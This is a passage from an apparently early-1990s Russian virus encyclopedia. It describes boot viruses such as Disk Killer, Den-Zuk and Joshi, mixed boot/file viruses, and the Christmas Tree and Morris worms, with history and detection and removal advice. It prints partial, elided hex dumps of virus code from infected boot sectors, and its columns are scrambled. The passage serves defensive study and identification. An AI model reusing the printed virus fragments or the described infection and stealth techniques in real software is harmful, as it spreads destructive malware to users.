вирусам типа Вx3, поскольку поражает как дискеты, так и винчестер, причем на дискете хвост вируса расположен в трех кластерах, помеченных как сбойные. Дамп секторов, содержащих данный вирус, приведен ниже. Иногда из-за ошибки в вирусе эти сектора "отнимаются" у некоторого файла, а не берутся из свободного пространства и создается впечатение, что файл заражен данным вирусом. Например автору был передан экземпляр программы DISKCOPY, содержащей в хвосте тело данного вируса. Вирус поражает и винчестер, однако размещает свой хвост не в псевдосбойных кластерах, а в секторах, расположенных между MBR и началом раздела С. Процесс размножения стандартен. Данный вирус, как и большинство бутовых вирусов, конфликтует с драйверами дискет, поддерживающих нестандартные форматы (например, 720K). При этом либо система зависает, либо выдается сообщение о делении на нуль. Инфицированный диск содержит сообщение и часть кода вируса в бутсекторе. Остальная часть вируса, включая копию оригинального (т.е. незараженного) бутсектора, содержится в трех кластерах, которые, как уже указывалось выше по разному рамещаются на дискете и винчестере. Фаза проявления данного вируса состоит в прописывании определенным символом всего содержимого раздела С. Если винчестер содержит несколько разделов, то остальные разделы остаются нетронутыми (при использовании ADM). Вирус подсчитывает время использования диска с момента заражения и активирусется после достижения определнного значения (примерно 48 часов). Обычно это означает 1-6 недель с момента заражения в зависимости от интенсивности использования компьютера. Фаза проявления начинается с выдачи сообщения, содержащегося в коде вируса. "Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/89 Warning!! Don't turn off the power or remove the diskette while Disk Killer is Processing! PROCESSING Now you can turn off the power. I wish you Luck!" Следует отметить, что в этот момент еще можно спасти часть информации нажав на кнопку перезагрузки (теряются системные блоки). Затем вирус кодирует сектора выполняя операцию XOR со значениями 0AAAAh и 05555h. Как известно операция XOR обратима, поэтому можно восстановить перекодированную информацию. Утилита для этой цели находится в стадии разработки. Исторические замечания. В теле вируса содержится дата 04.01.89 (по-видимому, в американском формате), которую можно интерпретировать как дату создания вируса. По данным П.Хоффман был выделен в Калифорнии в апреле 1989 г. и имеет тайванское происхождение.В нашей стране вирус появился в начале 1990 года. Неформальные названия. Полидетектор SCAN называет данный вирус "Disk Killer Virus [Killer]". Другими неформальными названиями, помимо приведенных в заголовке являются Ogre - Людоед, Computer Ogre, Disk Ogre. Методы и программные средства защиты. Вирус можно идентифицировать путем визуального просмотра содержимого бутсектора, например, Norton Utilities. В качестве детектора может использоваться полидетектор SCAN. Вместо фага можно использовать команду SYS. Дамп бутсектора, зараженного вирусом Bx3-EB 000: FAEB4F4D53444F53 332E330002020100 010: 027000D002FD0200 0900020000000000 ..OMSDOS3.3..... .p.............. 020: 030: 040: 050: 060: ... 1C0: 1D0: 1E0: 1F0: 0000000000000000 000000000100FA33 B200AE0000007400 55552EA11304B106 CB3C75081E8D063B .. .. .. .. F501A33F01EB0C90 A33F01B90300B001 00CD83E2F3F9C3F8 0000000080010100 0000000000000012 C08ED0BC0000CB3C 0000005500000000 D3E08ED8813E3E00 0250FBCBB8007CB1 .. .. .. .. B80000A34101FEC4 51E867FF597308B4 C300000000000000 00000000000055AA ................ .......3.......< ......t....U.... UU...........>>. .<u....;.P.... ... ... ... ...?........A... .?......Q.g.Ys.. ................ ..............U. Фрагмент дампа первого псевдосбойного сектора с телом вируса Disk Killer 000: 010: 020: 030: 040: ... FA2EC60664018333 02A12200A30602A1 A30E02B87B02A320 C8A32200A34E00FB C88EC0BE037CBF03 .. .. .. .. C08ED8A12000A304 4C00A30C02A14E00 00B88F02A34C008C EB159033C08ED88C 00B94700FCF3A433 .. .. .. .. ....d..3.... ... ..".....L.....N. ....{.. .....L.. .."..N.....3.... .....|....G....3 . . . . . . . . Фрагмент дампа сектора с текстовой информацией 500: 510: 520: 530: 540: 550: 560: 570: 580: 590: 5A0: 5B0: 5C0: 5D0: 5E0: 5F0: 600: 610: 620: 630: 640: 650: 660: 00C70641010000C6 BBA208B001E82FFA 18BB0800CD10B402 2C00BEDF07E85101 696C6C6572202D2D 20312E3030206279 52204F4752452030 390D0A005761726E 0A446F6E27742074 74686520706F7765 6F76652074686520 207768696C652044 6572206973205072 210050524F434553 6F7720796F752063 6F66662074686520 0A49207769736820 20210057B93A00BE 5FC3C60632080290 EB01005033D28B0E 0188163F01A34101 08A01800E8F4F873 00000000501EFF36 064001018CC88EC0 B80006B90000BA4F B700BA000CCD10BB EBFE4469736B204B 2056657273696F6E 20434F4D50555445 342F30312F313938 696E672021210D0A 75726E206F666620 72206F722072656D 6469736B65747465 69736B204B696C6C 6F63657373696E67 53494E470D0A004E 616E207475726E20 706F7765722E0D0A 796F75206C75636B A508BF0300FCF3A4 EB09C60632080390 1A00F7F1C6064001 A162088EC08A2632 05B400CD13F958C3 62081F2E8B0E6008 ...A.....@...... ....../........O ................ ,.....Q...Disk K iller -- Version 1.00 by COMPUTE R OGRE 04/01/198 9...Warning !!.. .Don't turn off the power or rem ove the diskette while Disk Kill er is Processing !.PROCESSING...N ow you can turn off the power... .I wish you luck !.W.:.......... _...2.......2... ...P3.........@. ...?..A..b....&2 .......s......X. ....P..6b.....`. 7.5. Вирус D-29 (Den-Zuk - Ден-Зук) Неформальное название данного вируса связано с тем, что вирус выдает на экран надпись Den-Zuk. Формально данный вирус относится к бутовым вирусам типа D, поскольку заражает только дискеты, так и винчестер, причем хвост вируса расположен на 41 дорожке дискеты, что приводит к тому, что при копировании зараженной дискеты с помощью DISKCOPY, PC TOOLS и т.д. он теряется. Следует обратить внимание, что вирус сохраняет характерные для незераженного вируса текстовые сообщения в бутсекторе. Данный вирус, как и большинство бутовых вирусов, конфликтует с драйверами дискет, поддерживающих нестандартные форматы (например, 720K). При этом либо система зависает, либо выдается сообщение о делении на нуль. Хвост вируса расположен на 41 дорожке дискеты. В теле хвоста имеются текстовые строки "Welcome to the C l u b --The HackerSHackin' All The Time The HackerS" При заражении дискет уже зараженных вирусами BRAIN и Ohio Den Zuk распознает эти виирусы и удаляет их с дискет. Дискеты, зараженные вирусам BRAIN также могут быть переименованы в "Y.C.1.E.R.P.". Исторические замечания. По данным П.Хофман вирус был разработан в Индонезии программистом или программистами, которые разработали вирус Ohio. В СССР был впервые обнаружен в Москве С.Алексеевым весной 1990. Существуют штаммы вируса, подсчитывающие количество перезагрузок и после того как счетчик достигнет значения 5 или 10 форматирующие дискету. Неформальные названия. Полидетектор SCAN называет данный вирус Den Zuk. Другими названиями являются Search (поиск) и Venezuelan (венесуэльский). Методы и программные средства защиты. Вирус можно идентифицировать путем визуального просмотра содержимого бутсектора, например, Norton Utilities. В качестве детектора может использоваться полидетектор SCAN. Вместо фага можно использовать команду SYS. Дамп бутсектора, зараженного вирусом D-29 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: ... 150: 160: 170: 180: 190: 1A0: 1B0: 1C0: 1D0: 1E0: 1F0: EB29904934120001 027000D002FD0200 000000000F000000 D88ED0BC00F0FBB8 7C53C3B9B07C51C3 3EF604007509A3F6 06D3E00E1F8EC0BE F3A406B8000450CB B92128BB007EB809 BE5F7DB9480032FF .. .. .. .. 0A36307C8BCA86E9 0A4E6F6E2D537973 206F72206469736B 5265706C61636520 6B6520616E79206B 72656164790D0A00 6F6F74206661696C 4D42494F2020434F 20434F4D00000000 0000000000000000 000000497A616B00 002E320002020100 0900020000000000 000100FAFA8CC88E 787C50C3730ABB90 33C08ED8A1130483 042D0700A31304B1 007C33FFB90014FC 32E4CD13720D33D2 02CD13B83C7C50C3 8A04B40ECD1046E2 .. .. .. .. 8B161E7CCD13C30D 74656D206469736B 206572726F720D0A 616E642073747269 6579207768656E20 0D0A4469736B2042 7572650D0A004942 4D49424D444F5320 0000000000000000 0000000000000000 00000000000055AA .).I4.....2..... .p.............. ................ ........x|P.s... |S...|Q.3....... >...u....-...... .........|3..... ......P.2...r.3. .!(..~......<|P. ._}.H.2.......F. . . . . . . . . .60|.......|.... .Non-System disk or disk error.. Replace and stri ke any key when ready.....Disk B oot failure...IB MBIO COMIBMDOS COM............ ................ ...Izak.......U. 7.6. Индийская группа 7.6.1. Вирус WM-1F (Joshi - Джоши) Название данного вируса связано с тем, что при загрузке MS DOS с 5 января любого года на экран выдается соообщение Type "Happy Birthday Joshi" ! и компьютер ожидает ответа. Если ввести ответ Happy Birthday Joshi то загрузка будет продолжена. По данным Д.Н.Лозинского при программировании выдачи сообщения автор вируса ориентировался только на цветной монитор. Вирус WM-1F является наиболее скрытным и тщательно маскирующимся из попавших в CCCР бутовых вирусов. Это единственный из попавших в СССР вирусов, который "переживает" теплую перезагрузку. Заражает как 360К, так и 1.2М дискеты, а также винчестер. Заражает дискеты емкостью как 360К, так и 1.2М. При заражении дискет, подобно вирусу D-29 (Den-Zuk), записывает хвост на дополнительную дорожку (41 для 360К дискет, 81 для 1.2М дискет). При заражении дискеты проверок, занят ли указанные сектора информацией или нет, вирус не выполняет. Поэтому на дискете, содержащей на 41 дорожке какую-то информацию (например "замок" защиты от копирования), она будет уничтожена. Как обычно, для заражения достаточно единственно обращения к дискете при резидентном вирусе. Похоже автор был знаком с особенностями формата 1.2M очень слабо. Распознавание дискет 1.2M выполняется некорректно - с помощью попытки чтения 17 сектора. Поэтому возможно распознавание дискет 1.2М как 360 и "вклеивание" тела вируса в середину дискеты с соответствующими последствиями. Более того, при попытке разметить дискету 1.2M на зараженной машине начинаются "фокусы": из меню PC TOOLS этот формат может пропасть, размеченные дискеты сбоят и т.д. Эта характерная особенность данного вируса может служить достаточно надежным признаком зараженности машины данным вирусом. При заражении винчестера голова вируса записывается в не в бутсектор раздела С, а в абсолютный начальный сектор диска, который на винчестере содержит Partition Table (таблицу разделов диска), т.е. аналогично вирусу M-05 (Stoned). При этом хвост вируса располагается в восьми секторах начиная с абсолютного адреса 0/0/2, т.е. сектора, следующего за MBR (как уже отмечалось, обычно эти сектора представляют собой неиспользуемое пространство между MBR и началом логического диска С). Из этих восьми секторов 6 заняты собственно хвостом вируса, следующий седьмой сектор пустой, а восьмой содержит оригинальный MBR. Как и при заражении дискеты, при заражении винчестера вирус не проверяет содержимое этих секторов при заражении винчестера. Такое поведение вируча можно рассматривать как лишний аргумент в пользу использования программы MIRROR в AUTOEXEC.BAT: если эти сектора содержат какуюто важную информацию (как например, при использовании ADM), она будет уничтожена, при загрузке машина зависнет и можно восстановить эти сектора с помощью PCBACKUP. Если начальные сектора периодически копируются на дискету с помощью Norton Utilities, то их можно восстановить из соответствующего файла. Впрочем помимо резервирования копии с помощью MIRROR некоторые фаги умеют исправлять эту ошибку. Зараженный MBR при резидентном вирусе не виден. Механизм обеспечения данного эффекта уже описывался применильно к вирусу BRAIN: вирус анализирует запросы к винчестру и перенаправляет операцию чтения нулевого сектора на сектор, где хранится "спрятанная" Partition Table. В памяти вирус размещается в старших адресах, "откусывая" у MS DOS 6 Кб. Вирус перехватывает прерывания 8, 9, 13 и 21 - почти как какой-нибудь файловый вирус. Как уже указывалось, отличительной особенностью данного вируса является то, что он перехватывает прерывание от клавиатуры, что позволяет этому вирусу "выживать" при теплой перезагрузке (с помощью Ctrl-Alt-Del). Исторические замечания. Вирус WM-1F впервые был обнаружен в Индии в июне 1990 года. В нашей стране появился уже в июле. Автору был передан Д.Н.Лозинским. По данным П.Хоффман, начиная с конца 1989 года в Индии активно разрабатываются бутовые вирусы и не исключено, что подобно тому как Болгария является основным поставщиком файловых вирусов для СССР, на ту же роль для бутовых вирусов скоро сможет претендовать Индия. Неформальные названия. Полидетектор SCAN называет данный вирус "Joshi". Среди других названий отметим Happy Birthday - С днем рожденья. Методы и программные средства защиты. Рекомендуемые детекторы и полифаги приведены в прил.2. В частности, в качестве детектора для данного типа вируса можно использовать полидетектор SCAN, а в качестве фага - полифаг Е.Сусликова K32.COM. Следует отметить, что начиная с версии 36 в полифаге AIDSTEST предусмотрена возможность исправлять Partition Table даже в довольно сложных случаях. Дамп MBR винчестера, зараженного вирусом WB-1F 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: *** EB1F90C007E99900 021B0300C8E40080 ................ 7F007C00001E5080 FC02721780FC0002 ..|...P...r..... 80FA8CC88ED88ED0 BC00F0FBA11304B1 ................ 06D3E08EC0B80002 2D2100BF0000BE00 ........-!...... 7C03F003F8B97901 2BC8FCF3A675108C |.....y.+....u.. C00520008EC0BB00 000653B80100CBA1 .. .......S..... 13042D0600A31304 B106D3E08EC0BE00 ..-............. 7CBF0000B90002FC F3A48CC00520008E |............ .. C0BB000006530E1F B402B0018A2E1E7C .....S.........| 8A0E1F7CB6008A16 207C50B800B88ED8 ...|.... |P..... 585053515206CD13 075A595B58731050 XPSQR....ZY[Xs.P 53515206B400CD13 075A595B58EBE2FE SQR......ZY[X... C181C300021E0E1F 508AC12A061F7C2C ........P..*..|, 08581F72CCB80000 CB00000000000000 .X.r............ 0000000000000000 0000000000000000 ................ расположенные далее байты вирусом не меняются *** 8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ Некоторые из упоминаемых в зарубежной литературе бутовых вирусов пока в СССР выделены не были. В прил.4 приводятся собранные автором сведения о таких вирусах. Интересно отметить, что если файловые вирусы имеют, в основном западное происхожение, то бутовые - восточное (Индия, Индонезия, Новая Зеландия, Пакистан, Сингапур, Тайвань, Южная Корея). Учитывая, что из Индии, Сингапура, Тайваня, Южной Кореи мы получаем основную массу персональных компьютеров, шансы на быстрое появление этих вирусов в нашей стране весьма высоки. 8.1. Смешанные бутово-файловые вирусы Данный тип вирусов является попыткой увеличить выживаемость бутовых вирусов при наличии средств входного контроля. Действительно, поскольку бутовый вирус запускается до MS DOS, то он может беспрепятственно стать резидентным, а затем уже пытаться обходить средства слежения за операциями ввода/вывода. В то же время размножение по типу файлового вируса создает значительно лучшие шансы проникновения на новые компьютеры. Первой, хотя и неполной, попыткой реализации вируса рассматриваемого типа можно считать вирус Ghostballs 8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака) Данный вирус является комбинацией Венского вируса и Пинг-Понга. Файловая часть вируса основана на С-648 и при запуске зараженной программы заражает бутсектор дискеты или винчестера бутовой частью, основанной на вирусе Bx1-1C, в которой сохранен визуальный эффект двужущегося светлого пятна, однако отсутствует способность к размножению. При этом, если бутсектор восстановлен каким-нибудь фагом, то он повторно заражается при первом же запуске зараженной программы. Исторические сведения. Вирус был обнаружен в октябре 1989 г. в Исландии известным исландским вирусологом Фридрихом Скуласоном (Fridrik Skulason). Неформальные названия: Ghost Boot, Ghost COM Методы обнаружения и средства защиты. Средства обнаружения и защиты. Детектируется Scan (версии 66+), Для удаления бутовой части можно использовать команду SYS. 8.1.2. Вирус RCE-2560 (Virus-101) Данный вирус является первым известным резидентным вирусом с самомодифицирующимся инсталлятором и первым, заражающим наряду с файлами, бутсектор. Вирус заражает файлы только на дискетах. Если на дискете нет файла, который можно заразить, то он заражает бутсектор. Исторические сведения. Вирус написан Патриком Толме (Patrick Toulme) в январе 1990 г. в качестве "учебного пособия" и автор некоторое время распространял за плату исходный текст вируса. Неформальные названия: Virus-101 Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления бутовой части можно использовать команду SYS. 8.1.3. Вирус RC-1253 (AntiCad, V-1) Данный вирус заражает как COM-файлы, так и бутсектор дискет и MBR винчестера. При выполнении зараженной программы вирус инсталллируется в младшие адреса свободной памяти и виден как дополнительная резидентная программа, занимающая 2128 байтов (общий размер системной памяти не изменяется) и перехватывающая прерывания 08, 13, 21, 60. Затем вирус заражает MBR винчестера или бутсектор дискеты в зависимости от конфигурации компьютера. Являясь резидентным вирус заражает каждый выполняемый COM-файл, дописываясь в конец файла и вставляяя в начало файла команду перехода. Размер зараженных файлов увеличивается на 1253 байта. При этом вирус не делает попытки скрыть это увеличение. Признаком зараженности файла является строка "V-1" (562D31), расположенная с четвертого байта, сразу после команды перехода. Если при резидентном вирусе выполняется доступ к дискете, то бутсектор заражается вирусом. в частности, отформатированные на зараженном компьютере дискеты уже заражены. Куда вирус прячет хвост в настоящее время не известно. При попытке загрузки с зараженной дискеты вирус инсталллируется по типу бутвируса, уменьшая системную память на 77840 байтов. Характерным проявлением данного вируса является неожиданные попытки доступа к неативным флоппи дискам при форматировании. Например, если форматируется дискета в дисководе А, то зажигается лампоска в дисководе B. Фаза проявления заключается в уничтожении соержимого дискеты или винчестера и наступает, по данным П.Хоффман 24 Декабря. Уничтоженная дискета имеет повторяющуюся структуру из девяти сеторов. Исторические сведения. Вирус обнаружен в августе 1990 г. в Австрии и, по-видимому, там же и написан. Неформальные названия: Помимо приведенных выше отсутстуют. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления бутовой части можно использовать команду SYS. 8.1.4. Вирус RCE-1040 (Anthrax) Неформальное название данного вируса связано с тем, что в теле вируса имеются имеются текстовые строки "(c)Damage, Inc." и "ANTHRAX". Формально данный вирус относится с смешанным файловобутовым резидентным вирусам. Заражает как COM-, так и EXE-файлы, включая COMMAND.COM. Помимо этого заражает MBR винчестера и бутсектор дискет. При заражении файлов их длина увеличивается на 1040 - 1232 байтов. При выполнении зараженной программы вирус инсталлируется в оперативной памяти, однако в отличие от большинства известных вирусов не начинает заражать файлы немедленно. Только после того, как некоторое наступает некоторое событие, по видимому связанное с количеством введенных с кавиатуры символов, он начинает заражать по одному файлу при каждом выполнении какой-нибудь программы. При этом заражается не сама выполняемая программа, а другой файл выбираемый вирусом для заражения сначала на диске С, начиная с корневого каталога и далее по всему делеву каталогов, затем на диске D и т.д. Детали заражения дискет и бутсектора неясны. Проявления вируса в настоящий момент неизвестны. Исторические сведения. Вирус был выделен в Нидерландах в июле 1990 г. Он был загружен в несколько BBS с троянской копией антивирусной программы USCAN.ZIP. Это третий в 1990 г. вирус, распространявшийся с троянской копией антивирусной программы. Первыми двумя были RCE-2100 (также распространялся с USCAN) и RCE1600 (распространялся с Aidstest). По видимому, вирус имеет восточноевропейское (болгарское?) происхождение. Неформальные названия: Помимо приведенных выше отсутстуют. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления бутовой части можно использовать команду SYS. 8.2. Бутовые вирусы восточного происхождения 8.2.1. Вирус Microbes Конкретные сведения о вирусе практически отсутствуют. Заражает как дискеты так и винчестер. При заражении PC/XT возможно зависание системы. Исторические сведения. Вирус был обнаружен в Бомбее (Индия в июне 1990г.). Возможно, что этот вирус является историческим предшественником Joshy и написан тем же автором. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления можно использовать команду SYS. 8.2.2. Вирус AirCop Заражает только 360К пятидюймовые дискеты. Уменьшает обьем системной памяти на 1К. Перехватывает прерывание 13. Имеет вырожденный хвост, состоящий только из оригинального бутсектора. На зараженной дискете хвост расположен по адресу 1/39/9, т.е. в последнем секторе дискеты. Зараженный бутсектор не содержит стандартных текстовых сообщений, однако в самом конце имееется строка "Non-system..." На большинстве клонов вирус выдает через случайный интервал времени сообщение "Red State, Germ Offensive. AIRCOP." однако на некоторых вместо выдачи сообщения выдается сообщение о переполнении стека и система зависает. Исторические сведения. Вирус обнаружен в июле 1990 г. в Вашингтоне (США) и имеет тайванское происхождение. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления можно использовать команду SYS. 8.2.3. Вирус Korea Заражает только 360К пятидюймовые дискеты. Имеет вырожденный хвост, состоящий только из оригинального бутсектора и записываемый в 11 сектор дискеты (последний сектор FAT). При этом возможно поврежедние части FAT. Других проявлений не имеет. Исторические сведения. Вирус обнаружен в марте 1990 г. в Сеуле (Южная Корея) и, по-видимому, разработан там же. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+), Для удаления можно использовать команду SYS. 8.2.4. Вирус Ohio Заражает только 360К пятидюймовые дискеты. По видимому данный вирус можно рассматривать как раннюю версию вируса Den Zuk. Дискета, зараженная вирусом Ohio иммунизирована к заражению вирусом Brain. В теле вируса имеются строки: "V I R U S b y The Hackers Y C 1 E R P D E N Z U K 0 Bandung 40254 Indonesia (C) 1988, The Hackers Team...." Исторические сведения. Вирус обнаружен в июне 1988 г. в Индонезии и, по-видимому, разработан там же. Методы обнаружения и средства защиты. Детектируется Scan (версии 66+). Для удаления можно использовать команду SYS. 8.3. Ископаемые бутовые вирусы 8.3.1. Вирус Alameda (Аламеда) Вирус Alameda, подобно вирусу M-05 (Stoned), имеет вырожденный хвост, который размещается на последнем треке дискеты по адресу 39/8/0. При этом этот кластер не отмечается как сбойный, оставаясь доступным для распределения. Поэтому в случае перезаписи содержимого этого кластера перезагрузка системы становится невозможной. После загрузки вирус уменьшает доступную память на 1 К. Отличительной особенностью данного вируса является то, что он перехватывает прерывание от клавиатуры, что позволяет этому вирусу "выживать" теплую перезагрузку (с помощью Ctrl-Alt-Del). Более того данный вирус размножается не путем заражения всех дискет к которым идет обращение, а только дискет, которые расположены в дисководе в момент нажатия CTL-ALT-DEL. Заражаются только пятидюймовые дискеты 360К. Оригинальная версия вируса не содержала кода, ориентированного на нанесение какого-либо ущерба, однако как любой вирус вызывала ряд побочных эффектов. В частности, на некоторые машинах зараженных этим вирусом нельзя запустить отдельные программы или драйверы. В настоящее время известны штаммы, разрушающие бутсектор дискет (штамм Alameda-C). Кроме того оригинальная версия работоспособна только на PC XT, поскольку содержит команды, отсутствующие в микропроцессоре 80286 и 80386. Более поздние версии размножаются и на PC AT. Исторические замечания. Один из первых бутовых вирусов. Впервые обнаружен в США в 1988 году в Merritt College, Oakland, California. По мнению сотрудников университета вирус написан студентом из колледжа Peralta community college, входящим в данный округ. В СССР не отмечался. Приводимые данные базируются на списке П.Хоффман и статьях Макафи и Гринберга [200-201,131]. Неформальные названия. Merritt, Peking, Seoul, Yale. Методы обнаружения и средства защиты. Данный диагностируется полидетектором SCAN. вирус 8.3.2. Вирус Chaos (Хаос) Неформальное название данного вируса связано с тем, что в теле вируса имеются текстовые строки "Welcome to the New Dungeon", "Chaos" и "Letz be cool guys". Формально данный вирус является бутовым вирусом, заражающим как дискеты, так и винчестер. при заражении перезаписывает оригинальный бутсектор не копируя его в новое место. Стадия проявления заключается в пометке всех свободных кластеров как сбойные. Условия наступления стадии проявления неизвестны. Исторические замечания. Обнаружен в декабре 1989 г. в Англии. Джеймсом Беррри (James Berry). В СССР не отмечался. Приводимые данные базируются на списке П.Хоффман. Неформальные названия. Merritt, Peking, Seoul, Yale Методы обнаружения и средства защиты. Данный вирус диагностируется полидетектором SCAN. 8.4. Мифические бутовые вирусы 8.4.1. Вирус Bxxx (Boot Killer - бут-киллер) Данный вирус при каждой активизации переводит часть имеющихся свободных кластеров в потерянные и тем самым уменьшает размер доступного дискового пространства. Это пространство, естественно, становится недоступным, если не использовать утилиту CHKDSK с последующим удалением всех файлов с расширением CHK. Вторым эффектом является форматизация первого трека диска. Исторические замечания. Данный вирус был описан в статье [ ], опубликованной в 1988 г. опубликованной в 1988 г. 9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ Сетевые вирусы более точно называть не вирусами, а репликаторами, поскольку они не заражают выполняемые программы, а просто распространяются по сети от одной ЭВМ к другой. Буквальный перевод соответствующего англоязычного термина Worm - червяк представляется менее удачным, чем предлагаемый термин репликатор. В свою очередь репликатор, подобно кассетной боеголовке, может переносить с собой троянских коней и обычные вирусы. К счастью, два наиболее известных случая создания таких вирусов не связаны с потерей или разрушением данных. 9.1. Вирус Christmas Tree (Рождественская елка) Рассматриваемый вирус появился в конце декабря 1987 г. в западноевропейской сети EARN (European Academic Research Network) и связанной с ней американской сети BitNet. Его название связано с тем, что он рисовал на экране дисплея новогоднюю елку и затем рассылал себя по всем адресам, найденным на зараженной машине. Программа распространялась по сети с помощью электронной почты. Вирус был написан на языке управления заданиями REXX операционной системы VM/CMS. Фактически это единственный известный вирус, написанный на языке управления заданиями, и этот факт свидетельствует о мощности и гибкости REXX - несомненно лучшего из множества языков управления заданиями для машин системы 360/370. Автором программы был студент университета Clausthal-Zellerfeld (ФРГ), который утверждал, что просто хотел поздравить своих приятелей и не представлял, что университетская сеть подсоединена к EARN. Поскольку программа распространялась в виде исходного текста, автор предпринял определенные меры по маскировке, продемонстрировав неплохое понимание человеческой психологии. В частности, в начале программы стояли "соблазнительные" комментарии: /**********************/ /* LET THIS EXEC */ /* */ /* RUN */ /* */ /****************************/ /* ЗАПУСТИТЕ ЭТОТ */ /* */ /* EXEC-ФАЙЛ */ /* */ /* AND */ /* */ /* ENJOY */ /* */ /* YOURSELF */ /**********************/ /* И */ /* */ /* РАЗВЛЕКИТЕСЬ */ /* */ /* */ /****************************/ За ними следовал фрагмент, состоящий из стилизованного рисунка новогодней елки и поздравления "Счастливого Рождества и наилучшие пожелания на следующий год", который, естественно, также не вызывал особых подозрений: 'VMFCLEAR' SAY ' * SAY ' * SAY ' *** SAY ' ***** SAY ' ******* SAY ' ********* SAY ' ************* SAY ' ******* SAY ' *********** SAY ' *************** SAY ' ******************* SAY ' *********** SAY ' *************** SAY ' ******************* SAY ' *********************** SAY ' *************** SAY ' ******************* SAY ' *********************** SAY ' *************************** SAY ' ****** SAY ' ****** SAY ' ****** ' ' ' ' ' ' A' ' VERY' ' HAPPY' ' CHRISTMAS' ' AND' ' BEST WISHES' ' FOR THE NEXT' ' YEAR' ' Для тех, кто еще сомневался, запускать ли программу или посмотреть текст до конца, далее следовал еще один комментарий, содержавший "ненавязчивый" совет о том, что "просмотр этого файла совсем не интересен, просто наберите команду CHRISTMAS и посмотрите, что получится": /* browsing this file is no fun at all just type CHRISTMAS from cms */ И только после этого шел непосредственно текст репликатора, лишенный, естественно, каких-то коммментариев. Из ЕARN вирус, в процессе рассылки по обнаруженным им адресам, попал в американскую сеть Bitnet. В свою очередь, сеть Bitnet имеет связь с внутренней сетью компании IBM - Vnet. В этой сети репликатор размножался особенно успешно, поскольку сеть состоит в основном из машин и программного обеспечения фирмы IBM. Большие списки рассылки у многих пользователей этой сети привели к ее перегрузке и она была выключена. В течение двух дней, пока сеть была выключена, вся электронная почта фирмы "отлеживалась". Фирмой IBM были выполнены модификации сети, затрудняющие повторение подобных инцидентов. 9.2. Вирус Морриса Название данного вируса связано с тем, что его автором является Роберт Моррис младший (Robert Morris), аспирант факультета информатики Корнельского Университета (США). 2.10.88 он запустил вирус в американскую национальную сеть Internet, ивинфицировав большое количество компьютеров, подключенных к сети. Internet объединяет машины университетских центров, частных фирм и правительственных агенств, включая Национальное управление по аэронавтике и исследованию космического пространства, а также некоторые военные НИИ и лаборатории. Поскольку при программировании автор допустил ошибку, вызвавшую превышение скорости размножения и распространения по сравнению с задуманной, вирус был достаточно быстро (в течении нескольких частов) обнаружен. Тем не менее он успел заражить в общей сложности порядка 6000 компьютеров из порядка 60000, подключенных к сети. Вирус Морриса заражал только компьютеры типа SUN 3 и VAX, которые использовали варианты ОС UNIX версии 4 BSD. В процессе работы вирус оставлял необычные файлы в каталоге /usr/tmp на некоторых машинах и странные сообщения в log-файлах некоторых утилит, в частности, управляющей почтой утилиты SendMail. Для своего распространения вирус использовал некоторые дефекты стандартного программного обеспечения, установленного на многих эксплуатирующих UNIX системах. Он также использовал механизм, предназначенный для облегчения использования ресурсов удаленным компьютерам для проведения вычислений, позволяющий запускать задачу на удаленной машине. Вирус состоял из двух частей: главной программы и программы, обеспечивающей его распространение. Главная программа после запуска на очередной машине собирала информацию относительно других машин в сети, с которыми данная ЭВМ имеет связь. Она выполняла эту работу с помощью анализа конфигурационных файлов и путем прогона системной утилиты, которая дает информацию о текущем состоянии соединений в сети. Затем она использует определенные недостатки программного обеспечения для пересылки себя на другие машины. Пересылка выполнялась специальной частью вируса, называемой модулем распространения. Этот модуль представляет собой исходный текст программы, состоящей из 99 строк на языке С, которые должны быть откомпилированы и выполнены на удаленной машине. Для этого исходный текст должен быть сначала передан очередной жертве (используя способ, кратко описываемый ниже), а затем откомпилирован и выполнен с тремя аргументами: сетевой адрес инфицирующей машины (т.е. ЭВМ, с которой происходит заражение), количество сетевых портов, которые нужно соединить с этой машиной для передачи основных файлов вируса и "магическое число", которое использовалось как однократная проверка паспорта. Если инфицирующая машина не получала в ответ от посланного ею модуля распространения этого "магического" числа, она немедленно отсоединялась от этой машины. Это, по-видимому, было сделано в расчете на предотвращение попыток получения файлов вируса путем имитации действий модуля распространения. В самом модуле распространения были предприняты определенные усилия по маскировке. Для этой цели он обнулял свою командную строку и немедленно создавал собственную копию. Если в процессе пересылки файлов с инфицирующей машины происходил сбой, то модуль распространения сначала удалял все пересланные файлы, а лишь затем возвращал управление. Как уже указывалось, после запуска на очередной жертве модуль распространения обеспечивал пересылку всех файлов вируса для машин этого типа (SUN или VAX). Каждый файл представлял собой версию вируса для определенной архитектуры ЭВМ. Кроме того, модуль распространения обеспечивал получение еще одной своей копии для рассылки по очередным сетевым адресам. Хотя в модуле распространения предусматривалась пересылка до 20 файлов, только три на самом деле пересылались данной версией вируса. Это породило гипотезы о том, что Моррис планировал разработку более совершенной версии и что эта версия могла пересылать другие командные файлы, паспорта пользователей или, возможно, вирусы для конкретного типа ЭВМ. После пересылки загрузочных модулей модуль распространения обеспечивал их сборку с местной версией системной библиотеки. Затем эти программы вызывались одна за другой и их действие заключалось в попытке раскрыть пароли пользователей, работающих на данной машине. Если это удавалось, то вирус рассылал модуль распространения по всем адресам, найденным в списке соответствующего "взломанного" абонента. Если ни один из методов дешифровки паролей не срабатывал, то машина, породившая модуль распространения, обеспечивала удаление с диска всех улик (т.е, файлов, созданных в процессе работы вируса). Общий объем вируса достигал 68К. На момент написания данного материала это, по-видимому, самый большой из известных компьютерных вирусов. Исторические замечания. Вирус был разработан Роберт Моррис младшим, аспирантом Корнельского университета, впоследствии осужденным за это американским судом (некоторые сведения об этом процессе приведены в гл.10). Роберт Моррис является сыном ведущего ученого (chief scientist) американского национального центра безопасности компьютеров (U.S. National Computer Security Center) є отделения Нациoнального управления безопасности (National Security Agency). Последнее специализируется на глобальной 